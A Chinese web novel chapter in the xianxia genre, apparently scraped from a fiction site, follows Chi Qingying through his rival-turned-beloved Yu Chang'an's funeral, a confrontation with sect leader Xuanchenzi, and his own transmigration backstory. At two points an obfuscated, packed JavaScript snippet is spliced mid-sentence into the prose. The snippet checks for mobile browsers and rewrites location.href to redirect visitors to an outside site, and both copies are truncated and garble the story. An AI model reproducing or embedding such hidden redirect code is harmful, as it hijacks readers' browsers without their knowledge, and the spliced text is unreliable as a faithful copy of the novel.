“此石已有两次神识触动之痕。事不过三,下次若再失败,恐有不测之祸。” 众多天骄闻言,心头皆是一凛。 气氛陡然绷紧。 “我来。” 郁长安开口,带着令人心安的沉稳决断。 他越过众人,走到界魂石前。 高大英挺的身影,在幽暗中如同定海神针。 迟清影冷冷地注视着他的背影。 这人,也会有前世么? 他也会看到那混乱绝望的末世吗。 郁长安已然闭目,将一缕精纯的神识送入界魂石。 众人屏息凝神,紧张注视。 但他面容沉静,气息平稳,眉宇间不见丝毫波澜。 那份泰山崩于前而色不变的沉稳气度,令人心生无限叹服与信赖。 不出几息。 郁长安倏然睁眼,眸中精光一闪而没。 与此同时,那巨大的界魂石竟发出低沉的嗡鸣。 缓缓向旁侧移开,露出了其后深不见底的通道。 “成了!” 惊喜之声四起。 “郁真人果然神威!想来前世必是惊天动地的大能人物!” 众人由衷赞叹。 郁长安却微微摇头,目光扫过先前尝试的林薇与雷焕:“非我之功。” “若无两位道友先行探路,令我有所准备,我亦难言成功。” 他此言一出。 林薇与雷焕神色微动。心中那因失败而生的沮丧也消散不少。 他们只觉得郁真人不仅修为高绝,为人更是磊落谦和,令人折服。 又有人忍不住好奇。 “郁真人,您前世究竟是何等风采?” 迟清影的目光,也透过幂篱,无声地落在郁长安身上。 郁长安的视线落来,似不经意间与迟清影的对上。 空气隐隐凝滞了一瞬。 男人再开口,却道:“并无前世。” 众人皆是一怔。 “界碑之中,唯见一片混沌。” 郁长安继续道。 “幸得清影先前提醒,点明破局关键。” “加之我与他同行日久,耳濡目染,方能窥得一丝端倪,侥幸破解。” 众人恍然,随即又是一阵赞叹。 “原来如此!郁真人与迟仙友的默契,当真无人能及!” “神仙挚友,不外如是!” 垂纱之下,迟清影眸光深深,注视着郁长安沉静的侧脸。 这解释,似乎有些过于滴水不漏了。 界碑破解,算是开了个好头。 然而,短暂的轻松很快被更浓重的危机取代。 界碑之后,并非坦途。 魔窟深处,危机四伏。 仙修的灵力在此处被压抑到了极致。 凶险的魔物与诡谲的陷阱,又层出不穷。 作为魔界通道,此地的凶险远超想象。 纵使天骄们奋力搏杀,依旧不断有人负伤,甚至陨落其中。 最终,在魔窟的核心之地,竟是成了无解的绝境。 毁灭性的力量即将爆发,要将所有天骄一个不留,尽数吞没。 在这生死关头。 郁长安却长身而立,挺拔如孤峰。 滔天的剑意轰然爆发,他以一己之力强行逆转了死局。 硬生生撕开一条生路,将残余的天骄尽数送出。 而郁长安自己,却被崩塌的魔窟无情吞没。 影像的最后,是迟清影隔着崩塌的乱石与翻滚的魔气,看到的那双墨色眼眸。 平静,无悔,带着一丝仿佛穿透时空的凝视。 ——永远留在了那无尽的黑暗之中。 * 静室之外,天光微熹。 傅九川与方逢时正逐一清点着明日的葬礼所需。 案几之上,青灯摇曳。 玉盏晶莹,香烛纯净。每一件需灵力温养、符文加持的祭器,皆流转着温润光华。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163038|179759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精巧绝伦,蕴含着清冽纯净的水灵之气。 这些,都是迟清影亲手炼制。 方逢时抚过一只莹白的引魂玉盏,触手生温,符文精妙。 他不禁低叹一声。 “前辈他……心中定是懊悔至极。” “当日魔窟之劫,他与郁真人分散,最后未能在其身边,阻止郁真人自毁……” “……此憾,定是锥心之痛。” 多日以来,迟清影这亲手操持葬礼的细致,看在旁人眼中。 皆是痛失挚友后的沉痛与无尽自责。 * 然而,与此同时,却无人知晓。 静室之内,幽暗之中。 唯有留影石投射出的猩红影像,映照着迟清影苍白的侧脸。 他周身的气息凝滞,仿佛连时间都停止了流动。 影像,终于推进至那毁灭性的最后一刻。 翻滚的魔气与崩塌的乱石如同末日洪流。 郁长安的身影立于漩涡中心,煌明剑意如同撕裂黑暗的光柱,硬生生为残存的修士开辟出一条生路。 就在他将最后一人送出的刹那—— 郁长安,倏然侧首。 影像清晰地捕捉到。 那双深邃如古井的眼眸,穿透了狂暴的乱流。 精准地落在了某个看似空无一物的阴影角落。 那不是无意的扫视,而是确凿无疑的、穿透隐匿的凝望。 仿佛…… 直接看到了潜藏其中的迟清影! 迟清影浑身的血液,在这一刻骤然冰冷,仿佛冻结。 揣测成真了。 双修之后,郁长安对他的灵气如此敏锐。 以至于迟清影根本不可能在对方眼中隐匿自己。 最后一丝侥幸,如同风中残烛,彻底熄灭。 最不愿面对的那个推断,也终于成真。 ——郁长安体内的噬魂虫,正是最初由迟清影放入的那一枚。 魔窟中,吞噬郁长安的魔气乱流,会激发所有蛊虫。 他最后那瞬间的僵滞、剑意的迟滞反应。 正是噬魂虫发动,疯狂啃噬元神的铁证。 而噬魂虫…… 为魔教至蛊。 非核心之人不可动用。 郁长安看见了隐匿于此的他。 也必然知晓了一切。 知晓这致命的蛊虫,源自谁手。 知晓这隐匿的靠近,绝非救援。 知晓隐藏了魔子身份的迟清影。 就在那里,却冷眼旁观,未曾出手! ——只为专程来等他咽下这最后一口气。 影像中,郁长安那穿透乱流,沉静到令人窒息的目光。 比任何愤怒的反应都更清晰地宣判了这个事实。 迟清影死死盯着那混乱的影像。 忽然,他瞳孔骤然微缩。 就在迟清影死死盯着影像时,他的瞳孔骤然微缩。 画面中。 郁长安在身形即将被魔气彻底吞噬的前一刹,直直望了过来。 他手指微抬,极其隐晦却明确指向了一个方位。 那动作幅度并不大,在狂暴的背景下几乎难以察觉。 但这留影石正是郁长安负责刻录的。 这指向,绝非无意! 当时魔窟崩塌,能量狂暴,迟清影全副心神都在隐匿自身与确认郁长安的死亡。 竟忽略了这致命的细节。 此刻,这无声的遗言,却如同惊雷般炸响。 “无问。” 死寂的静室中,迟清影忽然开口。 一道几乎与阴影融为一体的灰色身影,瞬间出现在他身后,沉默垂首。 “去。” 迟清影的声音冰冷得没有一丝温度。 “坍塌的魔窟核心之地,此方位。掘地三尺,找出他留下的东西。” 无问没有任何迟疑,身形一晃。 便如同从未出现过一般,融入了更深的黑暗之中。 静室重归死寂。 唯有留影石幽暗的光,映照着迟清影苍白得近乎透明的侧脸。 * 守灵的最后一日。 当天夜晚。 静室中,无问的身形再度浮现。 魔窟距离郁长安的停灵之地,何止千里。 他却一日之内极限往返。并成功寻回了主上的所需之物。 无问单膝跪地,将寻得之物双手奉上。 那是一枚古朴的储物戒。 戒身萦绕的,正是属于郁长安的灵力气息。 迟清影削直的手指接过戒指。冰凉的触感顺着指尖蔓延。 预想中,需要费力抹除的禁制却并未出现。 那层本应坚固的屏障,对迟清影而言,竟毫无阻碍。 戒指如同早已认主般,在他指尖温顺地开启。 是那双修后产生的关联? 还是……那人刻意为之? 迟清影心中掠过一丝异样。 却无暇深究。 神识探入。 储物戒的空间无声开启。 其中核心之处,正静静躺着一枚拓印着古老秘纹的玉简。 玉简之上,描绘着繁复扭曲的纹路,还流淌着诡谲的暗红光泽。 虽然只是残片,仅余四分之一。 但那形态,却与迟清影舌尖深藏的秘纹如出一辙! ——那是魔尊血脉的铁证。 而玉简之旁,还放着一枚留音石。 并非寻常可见的粗粝模样,而是质地温润,显然经过了精心雕琢。 看起来绝非寻常传讯,倒像是为郑重宣告而备。 迟清影的神识落在留音石上,眸底掠过一丝极淡的了然。 这便是郁长安对仙门所言,待魔窟归来,便要当众公布的东西么? 以这卷足以证明迟清影身份的秘纹拓印为证。 在众目睽睽之下。 揭穿他掩饰已久的魔子身份。 念头未落,迟清影的视线却被秘纹玉简边缘的一行遒劲小字攫住。 那是郁长安的字迹,沉稳有力,清晰地批注在秘纹之侧。 “此纹诡谲,未曾得见。” 迟清影的指尖,几不可察地颤了一下。 这一行批注,如同投入深潭的石子,瞬间搅乱了原本清晰的认知轨迹。 他几乎是下意识地,抹去了留音石上那同样对他毫无阻碍的微弱禁制,将其激活。 留音石温润的表面泛起微光。 一道低沉醇厚、带着沉稳磁性的嗓音,带着比平日更甚的温和与沉稳,缓缓淌出。 “那夜御剑而行,云渺洲的月色极清极亮……” 男人声音微一停顿,仿佛在斟酌词句,蕴着一丝极浅淡的笑意,沉静而专注。 “若再得闲暇,愿与君同赏。” 微微一顿,那嗓音低沉下去,带着一种近乎虔心的郑重,清晰而温柔。 “清影……” “我心悦你。” 最后四个字,如同九天惊雷,在死寂的静室中轰然炸响! “啪嗒”一声轻响。 留音石脱手坠落,滚落冰冷地面,兀自散发着幽幽微光。 那温柔而郑重的告白,却如同烙印,深深镌刻在空气里,回荡难息。 静室之内,唯余迟清影孤立的身影。 雪色衣袂在幽暗中微微轻晃,衬得他面容苍白得毫无血色。 身形单薄,仿佛随时会消散在原地。 留影石中,并非预想中的厉声质问,并非是冷酷无情的揭发。 迟清影以为的致命威胁,那时刻悬于头顶的锋锐利剑…… 竟是一场未曾宣之于口的坦白。 那轻描淡写,却重逾千钧的话—— 字字句句,原来尽皆是为了他。 “我心悦你……” “未曾得见。” 14.下葬 第十四章 玄元历三千七百二十一年冬,霜降。 中泽州,月影泽畔。 天下第一剑,郁长安,长眠于此。 天色沉郁,铅灰色的浓云低低压着水面。 浩瀚的月影泽一反往日的波光潋滟,沉寂如墨,倒映着岸边无声肃立的人群。 四洲修士皆缟素而来,泽畔人影绰绰,却无一丝喧杂。 唯闻风过松涛,如泣如诉。 各大宗门魁首、世家巨擘、城池主事,乃至隐世不出的前辈高人,皆垂首默立。 前来为一人送行。 葬礼依循古礼,庄重而肃穆。 引魂香青烟袅袅,直上云霄。 安魂铃清音摇荡,抚慰英灵。 祭文诵毕,哀乐低回,沉重得令人心口发窒。 仪式行至扶灵。 十六位白衣剑修齐步而出,将玄冰灵棺缓缓抬出。 冰棺剔透,隐约可见其中安卧的身影。 而扶棺于灵柩之首者,赫然正是郁长安生前挚友。 那位天下第一美人。 迟清影。 郁长安无门无派,无亲无长。 唯此挚友,是他在这世间最亲近之人。 此刻,一贯以幂篱遮面的迟清影,竟未覆轻纱。 素衣长发,玉骨冰姿。 他就这样毫无遮掩地行走在万人目光与天地之间。 那是一张足以令日月失色的容颜。 肤色是久不见日光的冷白,眼眸是凝着寒星的冷潭。 他的唇色极淡,唯有眉梢眼尾洇出的一抹薄绯,仿佛雪地落梅。 猝不及防撞入人心。 他微垂着眼,长睫在苍白的脸上投下浅淡的灰。 那单薄的身形仿佛下一刻就要被风雪吹折,却又奇异地撑起了一股决绝的孤韧。 像一枝承载了太多霜雪的青竹。 清极,冷极,美得易碎惊心。 无数目光,不由自主地聚焦在他的身上。 哀恸于郁长安的陨落,更震撼于这轮清月,竟以如此破碎的姿态直面尘世。 迟清影的出现,为这场葬礼更添一分刺骨的悲寒。 天光愈发黯淡,细雪悄然而落。 洁白的雪粒覆上冰冷的棺椁,落在迟清影的发间、肩头。 仿若万物缟素。 天地同悲。 祭奠的仪式庄重而漫长。 扶灵就位,焚香告天,诵念仙章。 各宗各派代表依次上前,以本门最高之礼致敬…… 一切井然进行。 却弥漫着无形的孤寂。 直至最后一项——下葬。 据司天监修为最高的卜算大师,依据郁长安的剑意与灵根推演天机。 须待傍晚阳交替,第一缕星辉垂落之时,引灵入穴。 方为最佳安魂之时。 时辰未至,诸多宾客暂退至月影泽畔,专门设下的静息区域,稍事等候。 四洲势力各据一方,或低声交谈,或静默调息。 皆在为傍晚时分合力开启墓穴做准备。 四洲大陆第一大宗——天衍宗的休息所在,正位于月影泽的东侧高地。 宗主玄尘子,端坐于主帐中。 一身云纹素袍,容色沉静,颇具仙风。 他正是此前仙魔大战中,统领仙门联军清剿魔教的最高统帅,威望极盛。 此刻,玄尘子正与妙音谷的妙音仙子、北玄宗的清虚老祖等人低声叙话。 帐帘轻动,一名内门弟子快步而入,躬身禀报。 “宗主,迟清影道友在外,言有要事需与您相商。” 玄尘子当即颔首:“快请。” 几位老祖见状,识趣起身告辞。 帐帘再次被挑起。 一道素白身影,裹挟着外界的风雪寒意,步入帐中。 两旁侍立的弟子呼吸齐齐一滞,竟一时忘了礼数。 此时的迟清影,依旧未戴幂篱。 咫尺之间,毫无遮蔽。 先前远观,已知其绝色。 此刻直面,才知何为倾世之姿。 那是一种极致矛盾糅合出的美感—— 冷到极致,反而灼眼。 脆到极致,最为锋利。 冰雪为骨,冷玉为肌,每一寸都写满了疏离易碎。 偏偏那双眸子淡淡扫来时,沉静的力量直刺神魂,让人心神俱震。 这瞬间的美貌冲击。 让这些素来沉稳的精英弟子,都晃了神。 直到玄尘子开口,将左右挥退。 帐中只余二人相对。 “迟小友前来,所为何事?” 玄尘子气息平和,未露半分威压。 显然给足了颜面。 迟清影并未立刻应答,反而以袖掩唇,低低咳嗽了两声。 他咳声似有血气。指缝间还洇开了一抹刺目的红。 因着未戴幂篱,他眼底淡青的倦色,与削薄身躯的倦怠孱弱,都清晰可见。 玄尘子目光微凝,语气更显真切。 “小友伤势未愈?” 迟清影却只是漠然道:“无妨。” 他抬眼,眸光清泠地看去。 “此处言谈,可能绝天地?” 玄尘子颔首,拂尘微扬,一道无形屏障瞬间笼罩帐内。 “禁制已布下,小友尽可直言。” 迟清影神色未动:“那我便直问。” “魔窟之行前,我挚友郁长安,是否曾将一枚留影石交予宗主?” 玄尘子闻言,面露恰到好处的诧异:“小友何出此言?” 迟清影却不与他赘言周旋,径直道出关键。 “留影石中所录,乃是此前残害仙修、假借异魔之力屠戮仙门,刻意挑起事端的那批‘魔修’之真容。” 他语速平稳,却字字冷如冰锥。 “此前,外界皆传他们出身魔教,但验看其尸身便可发现,他们身上的魔纹浮于表面,并未深入根骨经络。” “真正的魔教弟子,绝非如此。” “而其致命伤处,仙门术法残留之痕,清晰可辨——杀人者,乃仙门中人。” 玄尘子抚弄拂尘的手几不可察地一顿。 他沉吟道。 “哦?竟是仙门同道出手,为苍生除害?” “是除害,还是灭口?” 迟清影的反问直中要害,未留丝毫情面。 “此等魔修,非魔教中人,实乃有人豢养作乱,专行嫁祸之举。” “其唯一目的,便是要引得仙门与魔教彻底对立,挑起大战,不死不休。” 玄尘子微微蹙眉,面色转沉:“竟有此事?” “关乎重大,小友可有实证?” “我挚友早已查明。” 迟清影眸光清冷。 “那枚留影石,连同其余铁证,当时一并呈送。” “那挑事者背后的主使,目的昭然——” “为的就是夺取魔教秘藏中的某物。” 他稍作停顿,目光如利剑般刺向玄尘子。 “只因近来四洲仙门高层之间,流传一则传闻。” “说魔教在其秘藏中,寻到了一种上古失传的功法。此法修炼后,可抵御蚀气侵蚀。” “上古功法本无仙魔之分,仙修亦可运用。若真能夺得此功——面对异魔,胜算将大增。” 帐内的空气似是骤然凝滞。 对多年受异魔侵扰的仙修而言—— 这份诱惑,足以让某些人铤而走险。 甚至不惜掀起巨浪滔天。 迟清影削薄的背脊笔直,他的目光凛然如霜,直直逼视着高位之上的玄尘子,丝毫没有避让。 “所以,当初浩浩荡荡的清剿魔教,究竟是为除魔卫道,还是为了争夺那魔教秘藏,贪念早已蒙心?” “那份功法,根本只是无根流言,未能证实。” “但若是能得魔教秘藏,也能让发起者弥补损失,不枉大费周章。” “这便是主使者的目的,是么?” 迟清影语调不高,却字字如寒霜珠落。 “我挚友千辛万苦寻得真相,将证据交予仙门领袖,本意是为阻止这场无谓厮杀,保存仙门有生力量,以应对真正的异魔浩劫。” “他深知异魔当前,修士内斗,无异自取灭亡。” 他望着不发一言的玄尘子,语气渗出一丝难以抑制的颤,又迅速复归冰冷。 “仙门大比的决赛秘境之中,为何异魔伏诛之数远超平日,尔等当真不知?” “分明是我挚友一路护持,竭力保下入内所有天骄,不被异魔所害!” “但凡他所经之处,异魔皆已被其剑意穿透,破除魔体,才让后续围攻的天骄有机会将其斩获。” “若非为护持众人,以他之能,最终数目岂止那般?” “他所求,从来不是虚名,而是异魔尽除,为后世开一条生路!” “异魔当前,本当全力对外。魔窟之行,即便他竭力周旋,仍有天骄不幸陨落。” “郁长安提前送出证据,便是信你们能阻止此战,保住仙门未来的希望。” 迟清影冰冷的目光有如实质,沉甸甸压在玄尘子的身上。 “但清剿之战还是爆发了。” “尔等为了一己私欲,竟将如此重要的证据隐匿不公!” “堂堂仙门魁首,竟能坐视无数仙门弟子飞蛾扑火,无辜赴死!” 玄尘子的脸色终于控制不住,隐隐灰白。 “那些被灭口的挑事魔修尸身上,残余灵力痕迹,经秘法追溯,皆指向天衍宗。” 迟清影声音更冷。 “清剿之战后,负责所有善后事宜、收缴魔教战利品的,也正是您座下,这四洲第一大宗的弟子。” “究竟是为清剿魔教,还是为了夺那魔教秘藏?” “宗主心中,想必最清楚不过。” 玄尘子握着拂尘玉柄的指节不由僵硬了。 迟清影指尖一动,一枚留影石悬浮于空。 光芒流转,投射出的光影,正是此刻外面郁长安下葬之处的实时之景。 “挚友已将全部证据备份留存,如今尽在我手。” “此刻,所有证据都被安置在月影泽畔。” “若我身陨,一切实情便会顷刻喷薄而出,呈现于所有修士眼前。昭告于天下。” 迟清影说得冷淡。仿佛对己身同样漠不在意。 纵使此刻身陨,也要将此事昭明! “锵——” 然而他的话音未落,却有一声清越剑鸣! 一柄薄如天光的长剑倏然浮现。 ——竟是天翎剑悍然出鞘,寒光流转。 稳稳护在迟清影身侧,剑意铮然,护其周全。 神兵亦有心。 修真者何如? 玄尘子望着护主的灵剑,面色彻底灰败,仿佛瞬间被抽走了所有精气。 他沉默了良久,终是化作一声低哑的长叹。 “是……老夫之过。一时迷障,贪欲熏心,铸此大错……万死难辞。” 迟清影冷冷注视着他,并未因他的认错而有丝毫动容。 “如何弥补,宗主自择。” “其一,昭告天下,公布真相,宗主亲自向四洲谢罪。抚恤战殁弟子,所需资源皆由天衍宗一力承担。” “同时,大开山门,倾尽资源为各受损宗门培育英才,数目需抵过所有折损。” “其二,真相不宣,你亲赴异魔所在的传送秘境,镇守其中。” “三百年之内,不惜代价,护持所有入内历练的弟子周全,以功抵过。” 玄尘子脊背似乎微不可察地佝偻了一分。 他几乎没有犹豫,便涩声道。 “老夫……选其二。” 他的名誉可毁,但他不能眼看宗门的清誉倾塌。 迟清影并无多言,指尖引动一缕精纯到令人心悸的浓黑蚀气。 “立心魔誓。” 以此蚀气为证,若违此誓,蚀气将吞噬元神,道基尽毁。 即便玄尘子是元婴老祖,也无法抵挡这蚀气的侵蚀。 纵使他能侥幸苟活,日后天劫之下,心魔反噬,也必会魂飞魄散,形神俱灭! 玄尘子面容苦涩,依言以心头精血立下了毒誓。 誓成瞬间。 蚀气化作一道暗纹,没入其眉心。 他周身那层仙风道骨的光晕仿佛瞬间黯淡。 虽容颜未改,却透出了挥之不去的沉沉暮气。 末了,玄尘子望着眼前苍白瘦削却锋芒逼人的青年,不由发出一声复杂至极的低叹。 “四洲仙门,能有尔等二位这般人物,实乃苍生之幸……” 迟清影未置一词,转身便走。 行至帐帘处,他脚步微顿,并未回头。 清冷的声音传来。 “当初那些证据,郁长安只送了你一处?” 玄尘子沉默片刻,低声道:“非也。” “应是送了几处,有意予几位领袖共鉴……但送至别处的,被老夫的人中途截下了。” “其余几位道友……应尚不知此事全貌。” “是么。” 迟清影的声音里听不出丝毫情绪,只剩一片冰冷。 “但愿这仙门之中,尚有几分真正清明。” 是真是假,迟清影已无意深究。 于他而言,根本无关紧要。 无非是一个烂了。 与全都烂完了的区别罢了。 他掀帘而出,身影没入帐外风雪之中。 留下玄尘子独自面对满室空寂,面无人色。 * 暮色四合,风雪渐歇。 最后一缕天光被厚重的蓝灰色吞没。 月影泽边悄然亮起无数的明珠与符箓。 柔光交织,将水边的墓地区映照得庄重而圣洁。 下葬的时辰已至。 几位须发皆白的老祖率先结印。 在场所有修为有成的修士随之同时施为。 浩瀚灵力汹涌而出,化作万千道色泽不一却同样精纯的光弧,于半空中交汇融合。 最终凝聚成一座巨大而璀璨的灵气莲台。 莲台缓缓沉降,稳稳托举着那具玄冰棺椁,稳而无声地沉入早已备好的墓穴深处。 仿佛被天地温柔接纳。 灵光渐次隐去,唯余一方古朴的石碑,默然伫立。 一切尘埃落定。 玄尘子于此时越众而出。 他声蕴灵力,传遍四野,其音沉痛而坚毅。 “今日,受长安道友大义感召,老夫决意亲赴异魔秘境,镇守其中。” “自此三百载,凡我仙门弟子,入内历练者,老夫必倾力护其周全!” 此言一出,满场皆惊。 旋即,低低的惊叹与敬佩之声如潮泛起。 “玄尘老祖高义!” “此乃我仙门之幸!” 年轻天骄们更是热血沸腾,彼此眼中燃起灼灼斗志。 他们纷纷望向墓碑立誓。 “必当勤修苦练,斩尽异魔,告慰郁真人英灵!” “绝不辜负前辈遗志!” 唯有天衍宗的众人,面露惊愕。 几位长老的脸色,更是难看。 玄尘子乃天衍宗唯一的元婴巅峰,失去他的坐镇,顶尖战力顿失。 这四洲第一宗的地位,必将动摇,日后处境可想而知。 况且,玄尘子在元婴后期停滞多年,已是寿数将限。 他本该一心闭关,冲击化神,此时却要耗费三百年镇守秘境,道途恐怕就此断绝…… 长老们都是心下大骇。 然而,玄尘子已在天下群雄面前立誓。 如今再无回转余地。 他们也只能强压苦涩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169286|179759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,暗自咽下。 迟清影静立人群之外,雪色衣袂在寒风中轻扬。 他将所有喧嚣、热血、算计与惶然尽收眼底,目光清冷无波。 风雪已止,在他肩头发梢覆着一层薄薄清霜。 他却恍若未觉,无悲无喜。 眼底深处唯有万年冰雪般的沉寂。 * 葬礼散尽,月影泽畔重归寂静。 夜色如墨,一道素白身影独自拾级而上,步入临水而建的月影楼。 多年在外斩杀异魔,唯有此处可称是迟清影的长居之地。 楼阁清冷,一如它的主人。 最高层的轩窗大开,夜色中,那座新立的墓碑,那座新碑的轮廓清晰可见。 月光如水,将新冢与周围沉寂的水泽一同笼入朦胧的孤寂之中。 屋内烛火未燃,唯有月华流入,勾勒出室内陈设的轮廓。 而在迟清影身后,暗影之中。 一道挺拔的身影静静伫立。 那是他亲手炼制、为之点睛的傀儡。 月华流过,照亮那与郁长安一般无二的侧脸,昏暗中竟足以乱真。 恍若故人从未离去。 但迟清影并未回头。 更不曾有半分错觉。 他只是漠然地垂眼,目光落在指间那枚古朴的储物戒上。 戒身冰凉,触感熟悉。 那里如今收纳了郁长安留下的所有东西—— 机缘、秘藏、珍宝。 乃至于,天翎剑。 曾经处心积虑、步步为营想要得到的所有。 如今尽在他指间方寸,触手可及。 可心中,却似乎并无预想中的满足与快意。 下葬之时,万千灵力汇聚而成的莲台虚影,已无声地印证了一个事实。 棺椁内安眠的躯壳中,再无半分元神的残迹。 他是真的走了。 彻彻底底。 再无踪迹。 清寒的月辉洒满层楼。 将月影楼的一切都镀上了一层冰冷的皎白。 这澄澈的光辉,竟与三年前初见那夜,一般无二。 那一日,亦是迟清影恨意最浓之时。 迟清影穿越而来,自知不过是书中寥寥数笔的炮灰。 这具躯壳承载的,不过是一段早已既定的、短暂而微末的人生。 其后三年,生死与共,险象环生。 郁长安待他,始终以挚友之诚,推心置腹。 纵是再铁石心肠的人,也当被这滚烫的真心焐热几分,生出动摇。 但迟清影不一样。 不仅因这穿书宿命,注定沦为垫脚之石。 更因为。 他那段亲历的前世。 穿越前,迟清影所在的世界已经遭逢末世。 那里丧尸横行,人类东躲西藏,艰难求生。 迟清影原本还算幸运。 他有一对少见的双双觉醒了异能的父母,虽然他自幼孱弱,却也被悉心关护,在高墙林立的庇护区中安全长大。 然而直到十八岁那年,迟清影没有觉醒异能。 他才知道,自己居然不是父母的亲子。 而是一个在混乱中被偷换了的假少爷。 真相与更冰冷的现实接踵而至,迟清影被毫不留情地逐出了庇护所。 那炼狱般的城外才是真正的尸山血海,九死无生。 他咬牙活了下来。 他不肯认命。 可他最终还是死了。 死在了汹涌的丧尸潮中。 死在真少爷被精锐异能队簇拥,众星拱月凯旋回城的那天。 穿越至此,虽然知道自己又成了注定的炮灰。 又要做龙傲天主角的陪衬。 但这修真世界灵气充沛,生机勃勃。 纵有弱肉强食,也比那绝望的末世好上千百倍。 借着剧情先知,迟清影寻到尚未长成的郁长安。 两人在一场鬼市中相见,顺利有了交集。 可迟清影万万不曾料到。 当主角对他放下戒心,抬手摘下那狰狞鬼面,露出的竟然会是—— 那位真少爷的脸。 郁长安,和前世那个贵为“主角”的真少爷。 竟是生得一模一样。 那时的郁长安,尚未经历日后的无数血战,眉宇间还没染上那挥之不去的杀伐锐意。 但他的气质中,却已透出了远超年龄的稳重与沉毅。 ——和那位真少爷如此相似。 第一次见郁长安,迟清影就吐了。 翻江倒海的恨意与生理性的厌恶直冲上来。 让他吐得昏天黑地。 前世今生,新仇旧恨,刻骨铭心。 那时,滔天的厌憎填满了迟清影的心。 那张脸清晰映入眼帘,所有的动摇被彻底粉碎。 化为更决绝的杀机。 他恨透了这张脸,恨透了其所代表的一切—— 和永远作为他悲惨命运佐证与对照的郁长安。 所以他必要杀了他。 他要与那既定的天来争命。 然而现在,迟清影却突然得知。 郁长安非但不是要揭露自己。 反而一直在暗中查证,试图消弭仙门对魔教的误解,避免一场无谓血战。 三年间点滴记忆,无数画面如同潮水般汹涌回卷。 每一次并肩,每一次无言。 “咳、咳唔……!” 迟清影喉头腥甜上涌,猛地呛咳起来。 殷红溅落在冰冷地面。 惊心触目。 如今细思初见,鬼面之下,郁长安的言行举止,并无前世传闻中那般倨傲冷漠。 而且如今,也不像书中既定的轨迹。 他非但从未起意伤害自己 反而……生出了真挚的情谊。 郁长安为何要为魔教平反? 为何明知自己暗藏杀机,却仍在最后关头以命相护? 或许…… 是自己错了。 错因那相似的面容,将前世今生的两人牵扯在一起。 错将满腔恨意,倾泻向一个无辜之人。 在魔窟的界碑石前,郁长安说的那句“并无前世”。迟清影竟是到现在才听信。 或许是真。 郁长安不是他想象中的刽子手,也不是高高在上的掠夺者。 或许他可能…… 真的只是一个纯粹的好人。 生平第一次,一种前所未有的动摇与迷茫,漫过了迟清影的心。 空茫的怅惘如潮水,令人窒息。 他以为自己在对抗这不公的天命。 他以为郁长安便是这天命最直接的化身。 可此刻他却惊觉。 郁长安或许根本不是他要抵抗的那些荒唐命运。 而是一个被自己错认。 ……无辜的牺牲品。 “咳、咳咳……” 气血翻涌,迟清影咳得撕心裂肺。 更多的鲜血从指缝间溢出,染透了他素白的衣襟。 为了胁迫玄尘子立下心魔誓,他强行吸纳并催动了大量的蚀气。 此刻反噬汹涌而至,原本被郁长安以精元修复的经脉。 再度变得千疮百孔,脆弱不堪。 蚀气如同无数狰狞的毒虫,在体内疯狂啃噬,带来深彻骨髓的剧痛。 就在这焚心的痛苦达到极致,意识都行将模糊之际—— 在这机关密布的月影楼。 迟清影的身后。 那具一直安静伫立,与郁长安别无二致的傀儡。 竟毫无征兆地动了一下。 一道低沉而熟悉,裹挟着一丝几不可闻叹息的嗓音。 幽然在这死寂的室內响起。 清晰得如同耳语。 “清影,你也在为我哀悼吗?”